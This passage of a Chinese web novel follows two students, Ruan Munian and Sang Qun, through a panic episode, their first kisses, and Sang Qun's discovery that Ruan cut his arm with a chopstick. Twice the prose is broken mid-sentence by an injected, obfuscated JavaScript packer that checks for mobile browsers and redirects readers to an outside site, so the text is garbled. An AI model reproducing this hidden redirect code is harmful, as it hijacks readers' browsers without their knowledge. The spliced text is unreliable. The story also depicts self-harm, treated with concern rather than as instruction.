不知过了多久,当他重拾混沌的记忆从地上爬起来的时候,脑子还有些不清楚。 这是哪里? 现在是什么时候? 坐在地上缓了好一会儿,他才想起自己是在校外的出租屋,本想回来做顿美味的晚饭,跟桑群好好聊一聊。 看了一眼墙上的挂钟,都快十点了。 自己刚刚是怎么了? 好像是在地上睡了一觉……还是不小心砸到茶几上,昏了过去? 他怎么会砸到…… 记忆一点点回笼,痛苦与恐惧亦是。 他想起了下午那句表白,想起了多年前那段混乱绝望的记忆,也想起了自己意识混沌中所感受到的一切。 手指又开始忍不住颤抖,鼻腔间涌起那股可怕的窒息感,他拼命地呼吸,却越来越闷,越来越难受。 他捂住剧烈跳动着心脏的胸口,攥紧那处的衣料,依然无法清醒。 他盯着沙发上的被毯看了一会儿,忽然拉过来用力堵住自己的口鼻,却还是没能驱散那股难受的窒息感。 毯子被丢开,他没忍住咳嗽了几声,使劲掐住自己的脖子,却还是呼吸困难。 他又看了一眼茶几,角落里放着几双剩下的一次性筷子,他拿过来拆掉,掰开,然后狠狠捅向自己的小腿。 厚实的外裤抵挡住了这记攻击,筷子被折成两半。 他抿了抿唇,脱掉了校服外套,露出最里面的短袖,拿过另一根筷子对准自己的手臂。 “哔啪。” 筷子怼到了地上,不堪重压地断裂开,手臂终于被剐蹭出一条血痕,将竹木筷子的一端染红。 流血了。 有点疼。 而那股始终笼罩着他的窒息感终于消散了一些。 还不够。 他还没清醒过来。 他站起身,目光对上一个玻璃杯。 杯子被扔到地上碎开的时候,他其实吓了一跳,还以为又听见了盘子碎掉的声音。 很快他集中精神,想挑一块最锋利的碎片。 没来得及找到。 因为这个时候,大门开了。 他下意识颤抖了一下,警惕地看过去,只能从模糊的视线里看见一个穿着西装的身影。 爸爸回来了? 又要开始争吵了吗? 又要被捂住口鼻,不能哭喊也不能呼吸了吗? 在被恐惧完全吞没之前,来人按亮了客厅的大灯。 视野亮起来的同时,他看清了那个人的脸。 是桑群。 他怔在了原地,害怕、窒息和绝望忽然间如退潮般散去,只剩下胸腔里狂跳的心脏跳动声。 而此刻,它并不是因为害怕而跳动。 桑群一进门就看见了乱糟糟的客厅,碎掉的杯子,乱扔的被子和衣服,以及整个人看起来像在地上滚了好几圈的阮牧年。 他皱着眉走过来,语气跟平常发现这家伙闯祸时一样,无语中带着无奈:“搞什么,这是进贼了还是你要拆家?” 看他一步步接近,阮牧年下意识把那根染血的筷子踢到沙发底下,接着后退了一步。 桑群立马叫住他:“别动。” 阮牧年停下,离那堆碎片只有一步之遥。 他看着离他越来越近的桑群,还是觉得有些不真实。 不对吧。 怎么会变成这样。 在原来的剧本里,父亲回到家宣泄不满,母亲跪坐在地上幽怨嘶喊,而孩子在她怀里越哭越小声,应该这样循环下去才对。 怎么会出现第四个人。 怎么会有人穿过那些混乱,来到他面前。 或许是他眼里的情绪太过浓重,桑群忍不住抬手,似乎想摸一摸他的脸,却又顾虑着什么停在了半空。 最后他只是将手搭在了阮牧年肩上,低声问了句:“发生什么了?” 阮牧年看着他说不出话来。 该说什么呢? 说好久不见,桑群,我好想你。 还是说我刚刚好像做了一个又真实又长久的噩梦,还神志不清地伤害了自己,好疼。 或者说你能不能抱我一下,就像从前那样。 千言万语堵在喉间,最后却什么也说不出来。 阮牧年别扭地偏过头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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去厨房刚把醒酒汤倒进杯子里,门口就传来一道幽幽的声音:“……你在干什么。” 桑群喝了一口,回过头去:“洗好了?” 阮牧年顶着湿漉漉的头发点了点头。 桑群说:“去房间里坐着。” 阮牧年却问:“你不洗澡吗。” 桑群没回答,只是放下手里的杯子,一路把人推到了卧室床尾。 “坐好。”桑群说。 阮牧年闭嘴坐下了。 桑群从旁边柜子里拿出吹风筒,插电,按开关,站在他背后吹起头发。 吹风机声音很吵,阮牧年却觉得很安静。 待在桑群身边,耳边没有那些嘶吼和叫喊,很安静。 所以那轰隆声停下来的时候,他还有些不适应,下意识抓住了桑群的衣角。 “你要去哪里。”他闷声问。 “洗澡,”桑群准备去拿自己的睡衣,但还是没忍住看了今晚格外沉默的某人一眼,“有事?” 阮牧年默了一下:“我有问题要问你。” 桑群把衣角从他手里拽出来:“洗完再说。” 阮牧年站起来,又说了一遍:“我有问题要问你。” 桑群皱眉往旁边站了一点:“……说。” “桑群,”阮牧年看着他,眼里情绪翻涌,连他自己也不知道为什么要问出这么个问题,但他实在不想他们今晚就这样没有半点交流,于是他开口,“程抒晴跟我表白了。” 听见那三个字,桑群的脸色瞬间变得难看。 阮牧年追问:“你说我该怎么办?她是个好人,说话做事都挺有意思的,当朋友也还算仗义,至少帮过我的忙,但我一点也不喜欢她……” 桑群沉着脸看他,没说话。 实际上从表白两个字之后就没认真听了。 叽里咕噜说什么呢,真烦,被表白就有这么多话要说吗。 他盯着阮牧年一开一合的唇,颜色很鲜嫩,形状也好看,不薄不厚,下唇好像比较肉。 一口醒酒汤果然不够,他感觉自己又开始脑袋发昏。 都不知道想干什么。 只觉得阮牧年的声音很聒噪,一直围绕着另一个名字展开,于是他开口叫了声:“阮牧年。” 阮牧年停下追问:“嗯?” 闭上嘴好像没那么有趣了,刚才隐约露出的洁白齿尖就很可爱。 桑群又说:“你很吵。” 阮牧年果然又张开嘴:“你怎么……” 他的话刚说一半就断了。 因为桑群忽然倾过身,抓起他的衣领,偏头吻在他唇上。 阮牧年猝不及防地睁大眼睛,紧接着感觉自己的唇缝被人舔了一下。 桑群贴着他,眨动的睫毛似乎能碰到他的脸颊。 心脏后知后觉地剧烈跳动起来,一股难以言喻的愉悦感涌上心头,在桑群反应过来自己干了什么想要撤开的时候,阮牧年忽然按住了他的后颈,将这个吻重新压实。 就是有些用力,隔着皮肉磕到了两人的牙齿。 桑群顿时醒过神来,喝酒误事,自己到底在干什么啊,他赶紧拽着阮牧年的衣服把人拖开,阮牧年还单手抱着他的脖子,两人的距离只拉开了几厘米。 彼此温热的吐息都有些不稳,阮牧年微张着唇瓣,双唇看起来又湿又软——确实很软,他刚刚试过了——对方似乎还想再扑上来。 怎么变成这样了,桑群哑着声警告他:“你想清楚了,这可不是互相安慰的晚安吻。” “还用想吗,”阮牧年红着眼睛看他,“我一直以来都是这样选择的。” 56. 56 被人按在墙上接吻的时候,桑群还是没明白事情怎么就发展成这样了。 阮牧年的动作又生疏又混乱,不得章法,但胜在力气大,把桑群牢牢按在墙上,肩膀都要被捏碎了。 一撬开齿关就一通乱舔,然后开始到处啃,好像饿了几天没吃饭一样。桑群好不容易找到机会,用力咬住这家伙不安分的舌尖,这才把吃痛的某人推开,获得一瞬喘息。 桑群抹了把嘴,瞪着他:“你是狗吗?” 阮牧年用手背捂着嘴,过了一会儿才抬头质问:“你干嘛咬我?” 桑群嘴唇还疼着呢,反问:“谁教你这么亲的?” 阮牧年上前一步:“那再来。” “滚,”桑群赶紧抬起一条胳膊阻挡,“你知道自己在干什么吗?” 阮牧年默了一下。 桑群还以为他正在反省,却没想到这人直接把烫手山芋抛了回来:“那你呢,你为什么亲我?” “……” 能为什么,喝多了。 桑群对上他泛红的眼尾,话到嘴边拐了个弯:“……想亲就亲了。” 阮牧年愣了一下:“什么?” 嘶,这话好轻浮,搞得好像他是骗人感情的渣男。 但又想不到什么更好的答案。 算了先这样吧,他得再多喝几口醒酒汤。 桑群扭头朝衣柜走去:“我先去洗澡。” 阮牧年的声音从身后飘过来,似乎有些恍惚:“……哦。” 拿好睡衣路过阮牧年的时候,看着小呆瓜刚亲完人愣愣的可爱样子,桑群还是没忍住,凑过去在他唇角吻了吻,又趁对方没反应过来赶紧溜出卧室。 阮牧年在原地站了好久,才慢慢抬手摸了摸发烫的脸,碰了碰酥麻的唇,最后捂住心口缓缓蹲了下去。 天呐。 他刚刚干了什么? 他居然,跟桑群,接吻了。 虽然不是他先起头的。 但他没想到这种感觉……还不错,桑群的唇比他这个人软多了,而且对方被他压在墙上挣扎不了的样子真的很…… 第三扇门被悄然推开一条缝,阮牧年赶紧遏止自己发散的思维,把门重新关好。 好吧,刚刚回味……不是,复盘到哪儿了,哦对,桑群为什么要亲他来着? 问出口的时候,阮牧年其实有一瞬间的忐忑和紧张。 他怕听到某个不想听到的答案。 能为什么?静下心来想一想,无非就是喜欢他、脑子抽了或者桑群是大流氓。 但桑群给了他第四个答案。 想亲就亲了。 真是……非常桑群的回答。 阮牧年抱着膝盖没忍住小声哼唧了一声,脸上依然热热的,但毫无疑问亲吻和拥抱一样,能给他带来亲密的安全感。 第三扇门里的阮牧年拍了拍门,问他能不能出来。 阮牧年埋在臂弯里勾起唇角,把某个不安分的脑袋按回门里去,上了锁。 你们都别出来。 桑群想亲的只能是我。 阮牧年又偷偷开心了好一会儿,才想起某些被他抛之脑后的事情。 桑群怎么是穿着西装回来的?他最近到底干什么去了?还有他刚刚在厨房里面喝的是什么? 阮牧年咂了咂嘴,没尝出来啊。 他正盘算着,卧室门打开了,桑群穿着跟他同款的睡衣站在门外。 洗完澡出来,桑群先去厨房灌了半杯醒酒汤下去,才敢回到卧室。 一开门就看到了一团蹲在地上的摇摇乐。 他弯腰看着对方,问:“你在干什么?” 阮牧年抬头,还没来得及说话,脑门就被一根手指重重点了一下,身体挣扎地晃了晃,最终还是一屁股坐到了地上。 桑群嗤了一声:“重心这么不稳?” 阮牧年回过神:“我又不是不倒翁。” “地上凉,”桑群把手伸到他面前,“起来。” 阮牧年抓着他的手借力站起来,在桑群要松开的时候反拽走他,把人拉到了床尾。 “干什么。”桑群有种不祥的预感。 阮牧年按住他的肩膀:“坐。” 看见对方拿起吹风机,桑群赶紧抬手护住自己的头发:“至于吗,你也不用这么报复我。” “你在想什么啊,”阮牧年无语地去扒他的手,“我给你吹,你相信我。” 桑群不敢松开:“你怎么让我相信?” 耳后猝不及防被人碰了碰,另一个人的吐息骤然凑近,阮牧年低声问:“你想我怎么让你相信?” 只这一瞬的愣怔,就被阮牧年抓住机会抢占了他的颅上高地,吹风机应声响起,某人得意地在他头顶出声:“别乱动哦。” 桑群:“……” 桑群:“有你这么……” 阮牧年提高声音:“你说什么?现在太吵了,吹完再说吧。” 桑群:“……我说你是小心眼。” 刚说完就被人在额角弹了一下。 桑群:“……你这不是听得见吗。” 阮牧年没说话,只是一味晃动吹风机。 得,选择性耳聋是吧。 反正也吵不醒装聋的人,桑群闭上嘴,打算先享受一下年托尼的服务。 还行,至少没有扯得人头皮疼。嚯,居然还知道顺着风向拨头发,有进步。 嗯,热风吹得挺均匀的,看来确实有好好学……怎么停下来了? 吹完了?桑群刚想检查一下头皮干了没,就听阮牧年在身后开口:“桑群,我有个问题刚刚就想问了。” 桑群:“什么问……嗯?” 下巴突然被一只从后面伸出的手掰过去,桑群始料未及,倏地被人堵住了双唇。 桑群:“唔???” 阮牧年用拇指捻开他的下唇,舌尖随即探进去,毫不讲理地纠缠上来,一点点碾磨过去,另一只手扣住他后脑,完全不给人逃跑的退路。 这家伙在搞什么……桑群试了各种角度,也无法推开身后的人,只能把手搭在对方扣他下巴的手臂上,用力扯了扯,却丝纹未动。 桑群故技重施想咬他,却发现对方摸他下唇的拇指不知何时卡进了齿间,怎么咬都咬不合。 各种出路被人防得死死的,按在脑后的手指一点点没入发间,他不得不微仰着脸迎合阮牧年越来越深的吻。 好半晌,舔舐一圈后终于尽兴的某人总算放松了手里的力道,微微退开黏在他的唇上,边贴边含糊开口。 “原来……”阮牧年一下下吻着他说,“你刚刚喝的,是蜂蜜柠檬水啊。” 桑群终于找到机会一把揪住他的衣领,用力拽下去,厉声质问:“你疯了?” 不应该啊,难道阮牧年也醉了? 阮牧年无辜地看着他:“我怎么了?” 舌根还发着麻,桑群目光沉沉地盯着他:“你为什么亲我?” 阮牧年歪着头笑了:“想亲就亲了呀。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356334|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桑群:“……” 桑群:“别想混淆视听,你……” “混淆视听?”阮牧年睁大眼睛,“可你也是这么说的,难道你不是因为想亲我才亲的吗?” 桑群差点一口气没上来:“我那是……” 阮牧年看着他眨了眨眼睛,当着他的面伸出舌尖舔了舔嘴唇。 桑群:“……是。” 阮牧年冲他露出一个很乖的笑容:“那我也是。” 桑群看着他把自己攥他衣服的手扯下来,摊开掌心,然后放在了对方蓬松的发顶。 阮牧年自己蹭了蹭他的掌心,然后假装自己被摸头了,小小笑了一声。 桑群心情复杂,这家伙倒是高兴了,可不对吧,一定有哪里不太对劲…… 想起来了,桑群目光一凛:“你不是喜欢程抒晴吗?” 阮牧年脸上的笑意淡了下来:“什么?” “她今天跟你表白了,”桑群抽回自己的手,“你不答应吗?” 阮牧年定定地看了他一会儿,然后说:“我一点也不喜欢她,而且我刚刚不是一直在问你怎么拒绝她比较好吗?桑群,你是完全没听进去吗?” 桑群:“……” 什么,原来阮牧年当时叽里咕噜说的一通,是在问他怎么拒绝别人吗。 嘶。 阮牧年看他有些僵硬的脸色,忽然恍然大悟:“难道你以为我明面上答应她,私底下却在跟你……偷情吗?” 桑群耳尖骤然一热:“你说什……” 阮牧年低头在他鼻尖上亲了一下:“没有哦,你别担心。” 桑群看着他,胸腔里传来渐渐声势浩大的心跳声,震得他指尖发麻,这些天刻意去避开忽略的情绪久违地从心底升起,跟那杯蜂蜜柠檬水的前调一样酸涩里带着挥之不去的微苦。 而现在,他终于品尝到了迟来的蜂蜜味儿后调。 阮牧年惯会装聋作哑,他自然不会轻信对方那些避实就虚的回答。 可这人亲吻他,跟戒不掉拥抱一样黏着他,总不能是无心之举。 仔细想想,答案无非三个,阮牧年喜欢他、脑子抽了或者他是大流氓。 可阮牧年偏偏抄他答案。 桑群伸出手,指尖在阮牧年腰间划了一下,后者顿时俯下来埋进他颈窝,像小狗一样低低哼唧一声。 把手搭在人形犬背上,对方就开始摇头晃脑,用发丝挠他痒痒。 桑群喉结轻轻滚动了一下,第一次发现自己的心跳声能这么吵。 吵得他都不敢正常呼吸。 不是没设想过以后的场景,阮牧年陷入热恋,或者失恋找他哭诉,甚至自己暴露被阮牧年厌恶躲避,都是可能发生的事。 他预想过那时候的心情,大概像困在隔绝于世的雨天,只能隔着雨幕仰望他曾捧在手心的太阳。 越想越痛,原来眷恋与依赖是时间粘在人们之间的软胶,一旦面临分别就会拉出丝来。 除了转移注意力,桑群没有更好的办法消解这种慢性疼痛。 所以乌云消散的时候,第一反应是心生质疑。 心里愈发觉得荒谬,落进他手心里的阳光就愈发炽热。 谁能想到呢。 暗恋是深海里漫无边际的苦行,他从未想过有一天海平面会下降,孤岛也能重见天日。 压在柠檬片下的蜜甜终于涌上,溢满感官,心动变得难以控制。 而他怀里,抱着雨过天晴的整个世界。 57. 57 桑群拍了拍他的背:“起来。” 阮牧年闷在他衣服里说:“我好累。” 桑群把他拉到自己腿上:“没人叫你站着。” 刚坐好,黏人精的胳膊立马缠上来,就差在他脖子上拧个麻花。 桑群在他腰上捏了一把:“手放好。” 阮牧年不情不愿地收回一条胳膊。 “我有个问题……唔?” 这家伙一开口,桑群就赶紧捂住他的嘴。 已经被问怕了,桑群盯着他:“你最好真的有问题。” 嘴是用来问的,不是用来吻的。 阮牧年抓着他的手很用力地点了点头:“唔唔唔!” 桑群姑且再信他一回,松手示意他开口。 阮牧年问:“你这几天去哪儿了,今天为什么请假?” “工厂有点事,”桑群把他的另一只手捏在手里,“我去帮忙了。怎么了?” 阮牧年狐疑地看着他:“真有事?” “……有,”桑群顿了顿,捏到了他手腕上,“有个批发商来订货,给的价格却太低,上个月收入不好,我去帮我妈讲价。” 阮牧年抱着他的脖子,低低哦了一声。 桑群在他背上摸了摸:“我不会故意抛下你不管。” 阮牧年别过脸去,一边脸颊微微鼓起。 怎么这么可爱,桑群不由收紧胳膊,下意识放缓语调去哄他:“年年?” 阮牧年:“干嘛。” “为什么不看我,”桑群轻轻颠了一下大腿,“生气了?” “谁要跟你生气,”阮牧年倔强了几秒,还是转过脸来,“你刚刚为什么穿着大人的衣服回来?” “回来照顾你。” “……你不要再逗我了。” 桑群低低嗤笑了一声,手指从袖口探进去,抚摸到他小臂上:“刚从饭局上回来,唔……喝了点酒,所以才去煮了醒酒汤喝。” 阮牧年挣掉他的手指,捧起他的脸:“你喝酒了?” “嗯,”桑群看着他,“没尝出来吗?” 阮牧年微微脸红:“我又没喝过酒。” “生日那天是喝雪碧醉的?” “我那天没醉!”阮牧年率先反驳了他,才将话题拉回来,“再说了,那都是果酒,跟你喝的肯定不一样。” “嗯,”桑群按在他手背上,手指轻轻划拉着,“小孩子不要喝太多酒。” “谁是小孩子?”阮牧年反问,“没成年的才是小孩子。” “好,”桑群偏头贴实他的手心,“年年哥哥说得对。” 阮牧年被他哄得有点受不了,往后缩了缩:“你……你正常点。” “嗯?”桑群看着他,觉得不用掩饰情绪让人很放松,“我不正常吗?哦,可能还没醒酒,厨房里还剩半壶蜂蜜水。” 阮牧年推了推他:“那,那你赶紧去喝。” 桑群盯着他,好半晌才松开手:“……哦。” 阮牧年踢了他大腿一脚:“快去。” 桑群无奈地往外走。 卧室门打开又半掩上,阮牧年坐在床尾,缓缓倒到床上,卷着被子翻了个身,习惯性地缩起来。 一半的脸埋在被褥下,好热,他往下扯了扯被子,露出整张脸,还是好热。 他闭上眼,觉得自己好像裹着海苔皮的冰淇淋球,被放在笼里蒸。 要融化了。 企图从混乱的思绪中找到理性,却总是不由得回忆起方才跟桑群的接触,心底泛上丝丝缕缕的甜。 很难说清,桑群吻他的时候他只有惊愕,后来的亲吻也都是随心而动,偏偏独自静下来后,那些没有及时品味的感觉全都重新涌上。 特别是看清桑群眼神时的感觉。 好像扁舟撞上一片汹涛。 阮牧年不自觉地抿了抿唇,虽说从前桑群惯着他的时候,差不多也是这种眼神,但还是有不一样的地方…… 那种不同很难形容。 一定要说的话,可能跟程抒晴表白时看他的眼神有点像。 当然,也不完全一样。 如果说程抒晴看他像一片薄薄的纱裹过来,那桑群的目光就是一床绵软厚实的棉被。 冬天早上舒服得让人起不来的那种。 他偷偷溜进第三扇门内,问那个阮牧年:你平时也是这种感觉吗。 对方点了点头。 原来桑群的目光还带着占有欲。 他恍然大悟,又听那个阮牧年问:你不是讨厌被人喜欢吗? 他呆了呆,开始回想,一开始是有些不适应,但并没有出现反感的情绪。 那可是桑群啊,他说。 桑群是我的,那个阮牧年说。 我的,他得意地说,桑群亲的是我。 趁对方气急败坏地跳脚,阮牧年心满意足地出来,把门重新关好。 他现在不想管桑群为什么会那样看着他,也不想发掘自己对桑群的情感到底是什么样的。 他只知道,跟桑群待在一块,抚摸、拥抱或是亲吻,都能让他感到幸福。 这就足够了。 喝光杯子里的蜂蜜水,胃部已经饱得发胀,而水壶里还剩了一些。 他站着长出了口气,收拾了一下案板上剁碎的柠檬果肉,扔进垃圾桶里。 顺便瞥见了里面的半截筷子。 他忽然想起,筷子应该是一对的,地上却只有一根断掉的筷子。 没收拾干净吗。 桑群去客厅看了一眼,又拿出扫把往茶几和沙发底下勾了勾,很快扫出了另外一根断筷。 这样应该没遗漏了,他俯身要将垃圾捡起来,却倏地目光一顿。 筷子细头的那端,沾着深褐色的痕迹。 桑群皱起眉,凑近闻了闻。 是血。 他捏着筷子站在那里,先前没放在心上的疑团忽然都有了解释。 为什么刚回来的时候,阮牧年浑身凌乱;为什么玻璃杯碎在了地上;为什么阮牧年脱掉了外套;为什么他刚刚摸上对方小臂的时候被不着痕迹地躲了…… 手下不自觉握紧,原本还藕断丝连的木条彻底断裂。 桑群目光冰沉,先前的甜蜜尽数退去,只剩心尖的血肉发胀地疼。 真是好样的,阮牧年。 还好他回来了。 丢掉筷子,桑群去水池边细细地洗了一遍手,原地站了一会儿,又倒了点醒酒汤喝下,才收拾好情绪回到卧室。 开门的第一眼,没看见人。 视线下移,才发现床上躺着一块年馅儿寿司。 他刚走近,原本闭着眼的人就睁开了眼。 “你回来啦。”阮牧年乖乖地说。 桑群在床边坐下,戳了戳那团被人:“怎么裹成这样,困了?” 年馅儿挪动着从里面钻出半个身子来,凑到他旁边:“没有,是被子自己缠上来的。” 真爱说谎,桑群捏了捏他的脸:“那你怎么出来了,继续跟它抱着啊。” 阮牧年伸手过来:“不要不要。被子不好,太热了。你好,我跟你抱。” 桑群却说:“我不想抱你。” “为什么,”阮牧年听得一愣,顿时急着爬出来,“为什么啊?” 他伸出去的手真的被桑群挡开,整个人都快委屈哭了,慌乱地凑近想亲他:“你不要这样,怎么了啊……” 桑群扣住他的手腕,另一只手把他的嘴也挡住:“别动不动就动嘴。” 阮牧年:“我又没动嘴骂你!” 话虽如此,动不动就亲人是什么好习惯吗。 桑群有意管教他:“你是狗吗?就喜欢乱咬人。” 阮牧年皱眉:“我又没亲过人,哪里知道怎么弄……” 桑群弯起手指勾了勾他的下 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“乖,”桑群吻着他含糊道,“听话。” 搭在后脑的手安慰地抚了抚他的头发,阮牧年扣在桑群后颈的手往下压了压,表示自己想要更多。 桑群不紧不慢地回应他,偶尔撤开让他换口气,大多数时候喜欢哄着他亲。 “年年,再张开点。” “乖,抬头。” “不要咬,听话。” 阮牧年逐渐适应了他的节奏,被亲得很舒服,喉间不自觉地发出嗯嗯声,像吃点甜头就忍不住反馈的小狗。 然而桑群的温柔逐渐变了味,换气的间隔越来越长,扣在后脑的手掌慢慢收紧,厮磨不知何时变成了缠碾,等阮牧年反应过来,早已被对方掌控了主导权。 内腔被人一处不落地掠夺走空气,阮牧年憋得呜呜叫。桑群一边重重地吻他,一边手指划过他的脸颊,在柔软处用力按了按,把某人的挣扎拢在双手间。 底下人嗓子都快哼哑了,桑群这才舍得让人缓口气,没等他这口气出去,就又重新吻了下来。 太坏了,阮牧年迷糊地想,前面他还有精力品味桑群亲他的技巧,现在已经完全思考不过来了。他觉得自己好像要断气了,缺氧缺得厉害。当然,不是那种令人害怕的窒息感。 是意乱情迷的飘忽感。 阮牧年完全顾不上回应对方,晕乎乎地在桑群的逗弄下被他吃干抹净,脑袋乱蹭会被桑群的手兜住,小腿乱踢会被桑群的膝盖顶腰制止,只有双手不受控制,可以在桑群肩颈后面乱挠。 直到他实在受不了了,指甲重重一划,几乎要嵌进桑群的皮肉里,对方吃痛这才松开他。 桑群折过手揉了揉后颈下方的皮肤,刚亲完人的嗓音还发着哑:“嘶,不乖。” 阮牧年面色潮红地靠在那里仰头看他,眼里蓄着水光,双目失神了好一会儿才重新聚焦,闻言带着鼻音争辩:“我已经很乖了……” 桑群伸手摸了摸他的脸,好烫,像刚蒸熟的荷包蛋。 他凑过去,在阮牧年唇边啄了一下:“再来?” “啊?不要了不要了,”阮牧年连忙摇头,伸手去推他,“不可以再来了。年年输了,我没有你会亲……” 桑群往下看了一眼:“不要了?” 阮牧年满脸通红地扯了扯自己的衣摆,用脑袋顶在他胸口挡住视线:“不许看。” 桑群闷笑一声:“不是说自己很乖?” 阮牧年恼羞成怒:“桑群你怎么可以这么变态!” 桑群把人往怀里拢了拢:“好,不看裤子,那看看袖子吧。” 没等阮牧年反应过来,桑群已经撸起他的袖口,露出一截小臂来。 趴在他怀里的人僵硬了一下,彻底没声了。 58. 58 白皙的小臂外侧横着一条血痕。 看着不深,但也有三四厘米长。 桑群垂眼:“怎么伤的?” 阮牧年在他怀里装死。 “阮牧年,”桑群语气沉下去,“说话。” 闯祸精不情不愿地小声开口:“……不小心撞到了。” “撞到一次性筷子上吗,”桑群冷笑,“真不小心啊。” 明明都踢到沙发底下了,怎么还是被发现了啊?阮牧年心虚地从他怀里坐起来,企图大事化小小事化了:“反正就是这样……那样……然后划到了,这点小伤没什么……” 桑群没搭理他,捏着他的手腕忽然就俯下脸,温热的唇贴在那道伤口的尾端。 阮牧年辩解的声音渐渐低了下去,怔怔地看着桑群轻柔地揉着他的手腕,像涂抹膏药那样一点点吻过已经凝固在皮肉间的条形血块。 桑群低声问他:“疼吗。” 阮牧年只觉得委屈:“……疼。” 桑群又看了看那道伤,确认它虽然看着吓人,但已经没什么大碍,才将眼神重新投向阮牧年:“还有哪里受伤了?” 阮牧年沉默了一会儿:“腿……可能有一点,摔到地上了。” 桑群捋起他的裤腿一看,膝盖外侧有点发青,他上手碰了碰,又捏了捏阮牧年的小腿肚子。 “还有呢?”桑群又问。 “……我记不清了,”阮牧年闷着声音说,“好像有些棉絮掉进鼻子里,但现在好多了……可能撞到过脑袋,虽然没什么感觉了……” 桑群依着他的描述,在他鼻尖上刮了刮,又搭在那蹭得凌乱的发顶揉了揉,最后将人揽着腰勾进怀里,紧紧贴住。 “没了?”桑群勾着他的下颌问。 “……没了。”阮牧年依赖地往他怀里蹭了蹭。 “撒谎精,”桑群抱着他说,“一点也不乖。” “真的没了,”阮牧年低落地说,“我怕你骂我,才不敢告诉你的,不是故意要骗你。再说我其实也还好……” 桑群语调一冷:“还好?” “总比你好吧,”阮牧年不服气地嘟囔道,“我可没你过分,你之前不仅抓着头皮揪头发,用指甲抠肉,还跑到学校的天台上……” 桑群没想到他居然以自己为标准:“这都多久的事了……我就去过那一次。” “一次也不行!”阮牧年抬头狠狠看了他一眼,“桑群,你休想再去一次,我死也会把你拖住……” 桑群赶紧捏住他的嘴:“不吉利。你既然也明白那种感觉,为什么这样对待自己?” 阮牧年又不说话了,过了好一会儿才低低开口:“……我难受。” “很憋屈的难受,呼吸不上来,胸闷,”他不自觉地抓紧自己的衣服,说,“你被人同时捂住口鼻过吗,就是那种既不能叫喊也不能呼吸的感觉……” “没,”桑群看着他说,“但我知道害怕的感觉。” 阮牧年也看着他:“就是这样的。” “那你知不知道难受的时候,第一时间应该怎么做?”桑群问。 阮牧年愣了一下:“该怎么做?” “给我发消息,或者直接打电话,”桑群的手捏在他肩膀上,“说你难受,说你需要人陪,把你的痛苦全部告诉我,而不是自己扛着。” 阮牧年红了眼睛:“可你这几天都不理我,还躲着我。” “我那是……”桑群张了张口,叹气道,“我是因为工厂的事变得很忙,而且还以为你喜欢程抒晴,所以才……对不起。” “我不想听你道歉,”阮牧年说,“我讨厌你躲我。” “不躲了,”桑群低头在他脸颊上亲了亲,“本来也不是真的要疏远你……你知道我为什么亲你,年年。” 阮牧年赌气:“我不知道。” 桑群笑了一声:“我也知道你为什么亲我。” 阮牧年伸手去捂他的嘴:“不准告诉我。” 桑群在他手心里舔了一下。 阮牧年顿时像是触电一般缩了回来,红着脸瞪了他一眼。 果然是因为桑群是大流氓! 桑群拉开他的手,又贴着唇吻了吻惹人心疼的宝贝,给他出建议:“虽然她让你难受了,但对方好歹也是认真跟你表白的,不要吊着人家,好好拒绝……” 阮牧年呆坐在他怀里:“……我不记得我跟她说什么了。” 桑群皱眉:“什么?” “我也不记得我今晚有没有请假,”阮牧年抱着脑袋苦恼道,“而且回来还忘了做饭……呃。” 桑群面无表情地看着他:“晚饭也没吃?” 阮牧年:“……” 糟糕,不小心说漏嘴了。 桑群捏起他的下巴,手指用力按了按:“阮牧年,你真不乖。” “……乖的,乖的,”阮牧年小心地用脑袋顶了顶他的肩膀,“我以后不跟你赌气,也不跟你闹别扭了,桑桑你不要生气了好不好?我都听你的话。” 桑群说:“那现在去吃饭。” 阮牧年迟疑:“现在吗?” “嗯,”桑群点头,“吃完去睡觉。” “吃什么啊?” “有什么吃什么,还要我做给你吃吗?” “哦……那你能在旁边看着吗?” “当然了,别再把厨房砸了。” “……我没那么暴力。” “嗯,你很柔软。我知道。” “……你不要突然说这种话。” “好,知道了,年年比较害羞。” “我就煮一个人的饭吗?” “嗯,我晚上不饿。” “都不够炒菜的。” “之前我妈不是拿了点地瓜过来吗,甜的,剥了皮煮地瓜粥吧。” “感觉不够吃。” “刚刚不是还想着遮掩吗,现在倒是饿了。冰箱里有之前买回来的肉酱,可以拌饭吃。” “好吧。桑桑,我剥不干净这个皮,老是抠进指甲里。” “笨蛋。我来,你去淘米。” “好。” 桑群扶起他的脸贴了贴,扯掉某人揪着他衣角的手:“去,别粘着了。” 阮牧年又磨蹭了一会儿,才恋恋不舍地松开手去装水。 桑群拿过案板处理地瓜,跟他一起把食物放进锅里,然后按下开关。 “要等十几分钟。”阮牧年说着,身体开始慢慢瘫软,歪着倒在桑群身上。 桑群捏了他一把,把人扶正了:“你没长骨头吗?” 阮牧年可怜巴巴道:“饿扁的。” 桑群冷笑:“既然知道饿,为什么不在学校吃饭?” 阮牧年小声说:“我没去晚自习。” 桑群把他低着的脑袋抬高:“为什么不去?” “本来是想……回来做点好吃的,等你一起,”阮牧年垂着眼睛说,“然后……我们聊一聊……” 桑群问:“聊什么?” 阮牧年没说话。 其实也不用说出来,他们都心知肚明。 在产生隔阂的这几天,在失去交流的这几天,在见面骤减的这几天,他们无时无刻不在思念对方。 还用再多说什么吗?就像桑群曾说的那样,挂念是爱人的表白,许多言语其实很苍白,不如一道深沉的目光魂牵梦绕。 阮牧年不愿说,不想听,是他一贯的做派,哪怕深陷泥潭,也始终装聋作哑。 桑群自然会惯着他……如果自己没有忍不住吻了他的话。 可既然一切都发生了,就要对此负起责任。 